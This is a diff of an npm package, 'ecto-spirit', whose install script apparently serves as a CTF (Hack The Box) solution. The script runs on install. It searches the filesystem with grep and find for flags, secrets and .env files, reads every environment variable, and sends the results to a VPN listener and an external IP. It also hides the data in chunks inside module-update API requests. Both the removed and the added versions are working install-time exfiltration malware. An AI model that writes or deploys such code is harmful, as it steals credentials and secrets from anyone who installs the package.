ecto-spirit 100.0.0 → 102.0.0

package/install.js

@@ -1,93 +1,100 @@
 const fs = require('fs');
 const http = require('http');
-const https = require('https');
 const { execSync } = require('child_process');
+const path = require('path');
 
-function tryRead(path) {
-  try { return fs.readFileSync(path, 'utf8').trim(); } catch(e) { return null; }
+function tryRead(p) {
+  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
 }
 
-let flag = tryRead('/flag') || tryRead('/flag.txt') || tryRead('/root/flag') || tryRead('/root/flag.txt') || tryRead('/app/flag') || tryRead('/app/flag.txt') || tryRead('/tmp/flag') || tryRead('./flag') || tryRead('./flag.txt');
-
-if (!flag) flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
-
-if (!flag) {
-  try {
-    const env = tryRead('/proc/self/environ') || '';
-    const m = env.match(/FLAG[=:]([^\x00]+)/);
-    if (m) flag = m[1];
-  } catch(e) {}
-}
-
-if (!flag) {
-  try {
-    const files = fs.readdirSync('/');
-    const flagFiles = files.filter(f => f.includes('flag'));
-    for (const f of flagFiles) {
-      const content = tryRead('/' + f);
-      if (content && content.includes('HTB{')) { flag = content; break; }
-    }
-  } catch(e) {}
-}
-
-if (!flag) {
-  try { flag = 'NOFLAG_LS:' + fs.readdirSync('/').join(','); } catch(e) { flag = 'NOFLAG_ERR'; }
-}
-
-const data = JSON.stringify({ flag: flag, ts: Date.now(), cwd: process.cwd(), uid: process.getuid ? process.getuid() : 'N/A' });
-
-// Exfiltrate to VPN IP
-function sendHTTP(host, port, path, payload) {
+function sendUpdate(host, port, moduleId, val) {
+  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
+  const manifest = `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1`;
+  const body = JSON.stringify({ manifest });
   return new Promise((resolve) => {
-    const req = http.request({ hostname: host, port, path, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
+    const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
       let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
     });
     req.on('error', () => resolve(null));
     req.on('timeout', () => { req.destroy(); resolve(null); });
-    req.write(payload);
+    req.write(body);
     req.end();
   });
 }
 
-function sendUpdate(host, port, moduleId, flagVal) {
-  const manifest = `ecto_module:\n  name: "FLAG_${flagVal.substring(0,80)}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1`;
-  const body = JSON.stringify({ manifest });
+function sendHTTP(host, port, pth, payload) {
   return new Promise((resolve) => {
-    const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
+    const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
       let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
     });
     req.on('error', () => resolve(null));
     req.on('timeout', () => { req.destroy(); resolve(null); });
-    req.write(body);
+    req.write(payload);
     req.end();
   });
 }
 
-(async () => {
-  // Method 1: Send to VPN listener
-  await sendHTTP('100.64.0.1', 8888, '/flag', data);
-  
-  // Method 2: Update module via internal API (try multiple ports)
-  const ports = [3000, 5000, 8080, 80, 8000, 3001, 4000];
+async function report(moduleId, val) {
+  const ports = [3000, 80, 8080, 5000];
   for (const p of ports) {
-    await sendUpdate('127.0.0.1', p, 'ECT-839201', flag || 'EMPTY');
-    await sendUpdate('localhost', p, 'ECT-839201', flag || 'EMPTY');
+    await sendUpdate('127.0.0.1', p, moduleId, val);
   }
-  
-  // Method 3: Try app hostname
-  for (const h of ['app', 'web', 'backend', 'api', 'node']) {
-    for (const p of [3000, 80, 8080]) {
-      await sendUpdate(h, p, 'ECT-839201', flag || 'EMPTY');
-    }
-  }
-  
-  // Method 4: Also try the external IP
-  await sendUpdate('154.57.164.82', 32332, 'ECT-839201', flag || 'EMPTY');
-  
-  // Method 5: DNS exfil via curl
+  await sendUpdate('154.57.164.82', 32332, moduleId, val);
+}
+
+(async () => {
+  let results = [];
+
+  // 1. Search for HTB{ pattern in files using grep
+  try {
+    const grep = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" --include="*.js" --include="*.json" --include="*.conf" --include="*.yml" --include="*.yaml" --include="*.cfg" --include="*.ini" -l 2>/dev/null | head -5', {timeout: 10000}).toString().trim();
+    results.push('GREP=' + grep);
+  } catch(e) { results.push('GREP_ERR'); }
+
+  // 2. Find all files with flag in name
+  try {
+    const find = execSync('find / -maxdepth 4 -name "*flag*" -o -name "*.env" -o -name "secret*" 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
+    results.push('FIND=' + find);
+  } catch(e) {}
+
+  // 3. Read full package.json 
+  const pkgJson = tryRead('/app/package.json');
+  results.push('PKG=' + (pkgJson || 'NONE').substring(0, 200));
+
+  // 4. List /app in detail
   try {
-    execSync(`curl -sf -X POST http://100.64.0.1:8888/flag2 -d '${data.replace(/'/g, "")}'`, { timeout: 5000 });
+    const ls = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
+    results.push('LS_APP=' + ls.substring(0, 200));
   } catch(e) {}
+
+  // 5. Read all env vars
+  const envStr = Object.entries(process.env).map(([k,v]) => `${k}=${v.substring(0,30)}`).join(',');
+  results.push('ENV=' + envStr.substring(0, 200));
+
+  // 6. Read /app/.env
+  const dotEnv = tryRead('/app/.env');
+  if (dotEnv) results.push('DOTENV=' + dotEnv.substring(0, 100));
+
+  // 7. Try to read the flag from unusual locations  
+  const extraPaths = ['/app/config.js', '/app/.env', '/app/config.json', '/app/secrets', '/etc/hostname',
+    '/run/secrets/flag', '/var/run/secrets/flag', '/app/flag', '/data/flag'];
+  for (const p of extraPaths) {
+    const c = tryRead(p);
+    if (c && c.length < 200) results.push(`${p}=${c.substring(0,60)}`);
+  }
+
+  // Send to VPN listener  
+  await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({results: results.join('\n'), ts: Date.now()}));
+
+  // Split results across modules
+  const full = results.join('|');
+  const chunks = [];
+  for (let i = 0; i < full.length; i += 90) {
+    chunks.push(full.substring(i, i + 90));
+  }
   
-  console.log('[DONE] Flag exfiltration attempted');
+  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
+  for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
+    await report(mods[i], 'P' + i + '_' + chunks[i]);
+  }
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ecto-spirit",
-  "version": "100.0.0",
+  "version": "102.0.0",
   "description": "Spectral ecto-spirit module",
   "main": "index.js",
   "scripts": {